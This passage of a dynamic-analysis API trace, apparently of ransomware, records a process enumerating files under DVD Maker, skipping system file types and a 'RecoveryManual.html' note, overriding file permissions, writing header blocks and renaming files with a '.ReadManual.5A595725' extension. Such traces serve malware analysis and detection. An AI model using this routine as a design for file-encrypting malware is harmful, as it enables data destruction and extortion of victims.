nFileSizeLow=0x3fc64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0253.807] lstrcpyW (in: lpString1=0x6ab906, lpString2="Scenes_INTRO_BG_PAL.wmv" | out: lpString1="Scenes_INTRO_BG_PAL.wmv") returned="Scenes_INTRO_BG_PAL.wmv" [0253.807] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="RecoveryManual.html") returned 1 [0253.807] StrStrIW (lpFirst="Scenes_INTRO_BG_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.808] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.808] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.808] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.808] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.808] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.808] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.808] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.808] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.808] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.808] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.808] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.808] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.808] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.808] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.808] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" [0253.808] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv.ReadManual.5A595725" [0253.808] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv.ReadManual.5A595725") returned 96 [0253.808] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37447677610) returned 1 [0253.808] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv")) returned 0x20 [0253.810] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.810] GetLastError () returned 0x5 [0253.810] GetNamedSecurityInfoW () returned 0x0 [0253.810] SetNamedSecurityInfoW () returned 0x0 [0253.811] SetNamedSecurityInfoW () returned 0x0 [0253.811] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.811] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=261220) returned 1 [0253.811] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3fc64, lpName=0x0) returned 0x1a0 [0253.812] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0253.812] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.812] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.814] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.815] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3fc64) returned 0x2690000 [0253.827] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.828] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37449725088) returned 1 [0253.829] CloseHandle (hObject=0x1a0) returned 1 [0253.829] SetSecurityInfo () returned 0x5 [0253.829] SetSecurityInfo () returned 0x5 [0253.829] LocalFree (hMem=0x674d38) returned 0x0 [0253.829] CloseHandle (hObject=0x184) returned 1 [0253.829] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0253.829] lstrcpyW (in: lpString1=0x6ab906, lpString2="Scenes_LOOP_BG.wmv" | out: lpString1="Scenes_LOOP_BG.wmv") returned="Scenes_LOOP_BG.wmv" [0253.829] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="RecoveryManual.html") returned 1 [0253.829] StrStrIW (lpFirst="Scenes_LOOP_BG.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.829] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.829] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.829] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.829] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.829] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.829] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.829] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.829] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.829] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.829] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.829] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.829] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.829] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.829] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.829] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" [0253.829] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv.ReadManual.5A595725" [0253.830] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv.ReadManual.5A595725") returned 91 [0253.830] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37449834091) returned 1 [0253.830] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv")) returned 0x20 [0253.830] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.830] GetLastError () returned 0x5 [0253.830] GetNamedSecurityInfoW () returned 0x0 [0253.830] SetNamedSecurityInfoW () returned 0x0 [0253.830] SetNamedSecurityInfoW () returned 0x0 [0253.831] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.831] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=797322) returned 1 [0253.831] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2a8a, lpName=0x0) returned 0x1a0 [0253.831] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc6) returned 1 [0253.832] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.832] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.834] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.834] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2a8a) returned 0x2690000 [0253.855] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.856] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37452477391) returned 1 [0253.856] CloseHandle (hObject=0x1a0) returned 1 [0253.856] SetSecurityInfo () returned 0x5 [0253.856] SetSecurityInfo () returned 0x5 [0253.856] LocalFree (hMem=0x674d38) returned 0x0 [0253.856] CloseHandle (hObject=0x184) returned 1 [0253.856] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0253.856] lstrcpyW (in: lpString1=0x6ab906, lpString2="Scenes_LOOP_BG_PAL.wmv" | out: lpString1="Scenes_LOOP_BG_PAL.wmv") returned="Scenes_LOOP_BG_PAL.wmv" [0253.856] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="RecoveryManual.html") returned 1 [0253.857] StrStrIW (lpFirst="Scenes_LOOP_BG_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.857] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.857] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.857] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.857] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.857] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.857] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.857] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.857] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.857] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.857] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.857] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.857] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.857] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.857] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.857] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" [0253.857] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv.ReadManual.5A595725" [0253.857] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv.ReadManual.5A595725") returned 95 [0253.857] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37452580846) returned 1 [0253.857] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv")) returned 0x20 [0253.857] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.857] GetLastError () returned 0x5 [0253.857] GetNamedSecurityInfoW () returned 0x0 [0253.858] SetNamedSecurityInfoW () returned 0x0 [0253.858] SetNamedSecurityInfoW () returned 0x0 [0253.859] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.859] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=869322) returned 1 [0253.859] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd43ca, lpName=0x0) returned 0x1a0 [0253.859] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0253.859] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.860] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.862] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.863] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd43ca) returned 0x2690000 [0253.890] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.891] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37456016655) returned 1 [0253.891] CloseHandle (hObject=0x1a0) returned 1 [0253.892] SetSecurityInfo () returned 0x5 [0253.892] SetSecurityInfo () returned 0x5 [0253.892] LocalFree (hMem=0x674d38) returned 0x0 [0253.892] CloseHandle (hObject=0x184) returned 1 [0253.904] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1 [0253.904] lstrcpyW (in: lpString1=0x6ab906, lpString2="Title_Page_Ref.wmv" | out: lpString1="Title_Page_Ref.wmv") returned="Title_Page_Ref.wmv" [0253.904] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="RecoveryManual.html") returned 1 [0253.904] StrStrIW (lpFirst="Title_Page_Ref.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.904] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.905] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.905] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.905] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.905] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.905] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.905] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.905] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.905] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.905] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.905] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.905] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.905] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.905] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.905] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" [0253.905] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv.ReadManual.5A595725" [0253.905] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv.ReadManual.5A595725") returned 91 [0253.905] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37457377291) returned 1 [0253.905] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv")) returned 0x20 [0253.905] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.905] GetLastError () returned 0x5 [0253.905] GetNamedSecurityInfoW () returned 0x0 [0253.906] SetNamedSecurityInfoW () returned 0x0 [0253.906] SetNamedSecurityInfoW () returned 0x0 [0253.907] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.907] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=933322) returned 1 [0253.907] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe3dca, lpName=0x0) returned 0x1a0 [0253.907] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc6) returned 1 [0253.907] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.908] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.909] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.910] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe3dca) returned 0x2690000 [0253.935] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.938] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37460645174) returned 1 [0253.938] CloseHandle (hObject=0x1a0) returned 1 [0253.938] SetSecurityInfo () returned 0x5 [0253.938] SetSecurityInfo () returned 0x5 [0253.938] LocalFree (hMem=0x674d38) returned 0x0 [0253.938] CloseHandle (hObject=0x184) returned 1 [0253.938] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1 [0253.938] lstrcpyW (in: lpString1=0x6ab906, lpString2="Title_Page_Ref_PAL.wmv" | out: lpString1="Title_Page_Ref_PAL.wmv") returned="Title_Page_Ref_PAL.wmv" [0253.938] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="RecoveryManual.html") returned 1 [0253.938] StrStrIW (lpFirst="Title_Page_Ref_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.938] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.938] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.938] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.938] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.938] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.938] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.938] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.938] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.938] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.938] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.938] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.939] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.939] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.939] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.939] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" [0253.939] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv.ReadManual.5A595725" [0253.939] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv.ReadManual.5A595725") returned 95 [0253.939] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37460748199) returned 1 [0253.939] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv")) returned 0x20 [0253.940] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD 